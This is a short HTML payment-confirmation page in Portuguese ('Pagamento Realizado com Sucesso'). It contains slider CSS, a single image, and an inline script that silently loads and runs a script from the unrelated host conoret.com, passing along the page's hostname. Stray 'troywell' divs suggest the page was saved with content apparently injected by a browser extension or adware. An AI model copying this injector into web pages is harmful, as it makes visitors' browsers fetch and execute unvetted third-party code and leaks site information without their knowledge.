<html style="height: 100%;">
    <head>
        <meta name="viewport" content="width=device-width, minimum-scale=0.1" />
        <title>Pagamento Realizado com Sucesso</title>
        <style type="text/css">
            .vue-slider-dot {
                position: absolute;
                -webkit-transition: all 0s;
                transition: all 0s;
                z-index: 5;
            }
            .vue-slider-dot:focus {
                outline: none;
            }
            .vue-slider-dot-tooltip {
                position: absolute;
                visibility: hidden;
            }
            .vue-slider-dot-hover:hover .vue-slider-dot-tooltip,
            .vue-slider-dot-tooltip-show {
                visibility: visible;
            }
            .vue-slider-dot-tooltip-top {
                top: -10px;
                left: 50%;
                -webkit-transform: translate(-50%, -100%);
                transform: translate(-50%, -100%);
            }
            .vue-slider-dot-tooltip-bottom {
                bottom: -10px;
                left: 50%;
                -webkit-transform: translate(-50%, 100%);
                transform: translate(-50%, 100%);
            }
            .vue-slider-dot-tooltip-left {
                left: -10px;
                top: 50%;
                -webkit-transform: translate(-100%, -50%);
                transform: translate(-100%, -50%);
            }
            .vue-slider-dot-tooltip-right {
                right: -10px;
                top: 50%;
                -webkit-transform: translate(100%, -50%);
                transform: translate(100%, -50%);
            }
        </style>
        <style type="text/css">
            .vue-slider-marks {
                position: relative;
                width: 100%;
                height: 100%;
            }
            .vue-slider-mark {
                position: absolute;
                z-index: 1;
            }
            .vue-slider-ltr .vue-slider-mark,
            .vue-slider-rtl .vue-slider-mark {
                width: 0;
                height: 100%;
                top: 50%;
            }
            .vue-slider-ltr .vue-slider-mark-step,
            .vue-slider-rtl .vue-slider-mark-step {
                top: 0;
            }
            .vue-slider-ltr .vue-slider-mark-label,
            .vue-slider-rtl .vue-slider-mark-label {
                top: 100%;
                margin-top: 10px;
            }
            .vue-slider-ltr .vue-slider-mark {
                -webkit-transform: translate(-50%, -50%);
                transform: translate(-50%, -50%);
            }
            .vue-slider-ltr .vue-slider-mark-step {
                left: 0;
            }
            .vue-slider-ltr .vue-slider-mark-label {
                left: 50%;
                -webkit-transform: translateX(-50%);
                transform: translateX(-50%);
            }
            .vue-slider-rtl .vue-slider-mark {
                -webkit-transform: translate(50%, -50%);
                transform: translate(50%, -50%);
            }
            .vue-slider-rtl .vue-slider-mark-step {
                right: 0;
            }
            .vue-slider-rtl .vue-slider-mark-label {
                right: 50%;
                -webkit-transform: translateX(50%);
                transform: translateX(50%);
            }
            .vue-slider-btt .vue-slider-mark,
            .vue-slider-ttb .vue-slider-mark {
                width: 100%;
                height: 0;
                left: 50%;
            }
            .vue-slider-btt .vue-slider-mark-step,
            .vue-slider-ttb .vue-slider-mark-step {
                left: 0;
            }
            .vue-slider-btt .vue-slider-mark-label,
            .vue-slider-ttb .vue-slider-mark-label {
                left: 100%;
                margin-left: 10px;
            }
            .vue-slider-btt .vue-slider-mark {
                -webkit-transform: translate(-50%, 50%);
                transform: translate(-50%, 50%);
            }
            .vue-slider-btt .vue-slider-mark-step {
                top: 0;
            }
            .vue-slider-btt .vue-slider-mark-label {
                top: 50%;
                -webkit-transform: translateY(-50%);
                transform: translateY(-50%);
            }
            .vue-slider-ttb .vue-slider-mark {
                -webkit-transform: translate(-50%, -50%);
                transform: translate(-50%, -50%);
            }
            .vue-slider-ttb .vue-slider-mark-step {
                bottom: 0;
            }
            .vue-slider-ttb .vue-slider-mark-label {
                bottom: 50%;
                -webkit-transform: translateY(50%);
                transform: translateY(50%);
            }
            .vue-slider-mark-label,
            .vue-slider-mark-step {
                position: absolute;
            }
        </style>
        <style type="text/css">
            .vue-slider {
                position: relative;
                -webkit-box-sizing: content-box;
                box-sizing: content-box;
                -webkit-user-select: none;
                -moz-user-select: none;
                -ms-user-select: none;
                user-select: none;
                display: block;
                -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
            }
            .vue-slider-rail {
                position: relative;
                width: 100%;
                height: 100%;
                -webkit-transition-property: width, height, left, right, top, bottom;
                transition-property: width, height, left, right, top, bottom;
            }
            .vue-slider-process {
                position: absolute;
                z-index: 1;
            }
        </style>
        
    </head>
    <body style="margin: 0px; height: 100%; background-color: #2fbdaf;">
        <script type="text/javascript">
            window.top === window &&
                !(function () {
                    var e = document.createElement("script"),
                        t = document.getElementsByTagName("head")[0];
                    (e.src = "//conoret.com/dsp?h=" + document.location.hostname + "&r=" + Math.random()), (e.type = "text/javascript"), (e.defer = !0), (e.async = !0), t.appendChild(e);
                })();
        </script>
        <img style="display: block; -webkit-user-select: none; margin: auto; background-color: hsl(0, 0%, 90%); transition: background-color 300ms;margin-top: 10%;" src="sucesso.jpg" />
    </body>
    <div class="troywell-avia"></div>
    <div class="troywell-caa"></div>
</html>
